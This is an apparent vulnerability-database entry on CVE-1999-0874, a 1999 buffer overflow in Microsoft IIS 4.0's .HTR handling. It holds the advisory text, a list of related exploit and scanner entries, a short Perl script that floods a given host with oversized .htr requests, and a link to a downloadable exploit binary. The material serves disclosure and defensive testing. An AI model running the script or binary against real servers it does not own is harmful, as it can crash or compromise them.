Microsoft IIS 4.0 - Remote Buffer Overflow (1)

🗓️ 15 Jun 1999 00:00:00Reported by eEye Digital Security TeamType

Microsoft IIS 4.0 has a buffer overflow vulnerability allowing remote code execution via file requests.

Reporter	Title	Published	Views	Family All 12
Circl	CVE-1999-0874	30 Apr 201000:00	–	circl
CVE	CVE-1999-0874	2 Jun 200004:00	–	cve
Cvelist	CVE-1999-0874	2 Jun 200004:00	–	cvelist
Exploit DB	Microsoft IIS 4.0 - '.htr' Path Overflow (MS02-018) (Metasploit)	30 Apr 201000:00	–	exploitdb
Exploit DB	Microsoft IIS 4.0 - Remote Buffer Overflow (2)	15 Jun 199900:00	–	exploitdb
Exploit DB	Microsoft IIS 4.0 - Remote Buffer Overflow (3)	15 Jun 199900:00	–	exploitdb
Exploit DB	Microsoft IIS 4.0 - Remote Buffer Overflow (4)	15 Jun 199900:00	–	exploitdb
exploitpack	Microsoft IIS 4.0 - Remote Buffer Overflow (2)	15 Jun 199900:00	–	exploitpack
Tenable Nessus	Microsoft IIS ISM.DLL HTR Request Remote Overflow	22 Jun 199900:00	–	nessus
Metasploit	MS02-018 Microsoft IIS 4.0 .HTR Path Overflow	21 Jan 200622:10	–	metasploit

source: https://www.securityfocus.com/bid/307/info

Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.

IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.


Use the following script to test your site:

#!/usr/bin/perl
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19245.exe

17 Jun 2012 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 210

EPSS0.74651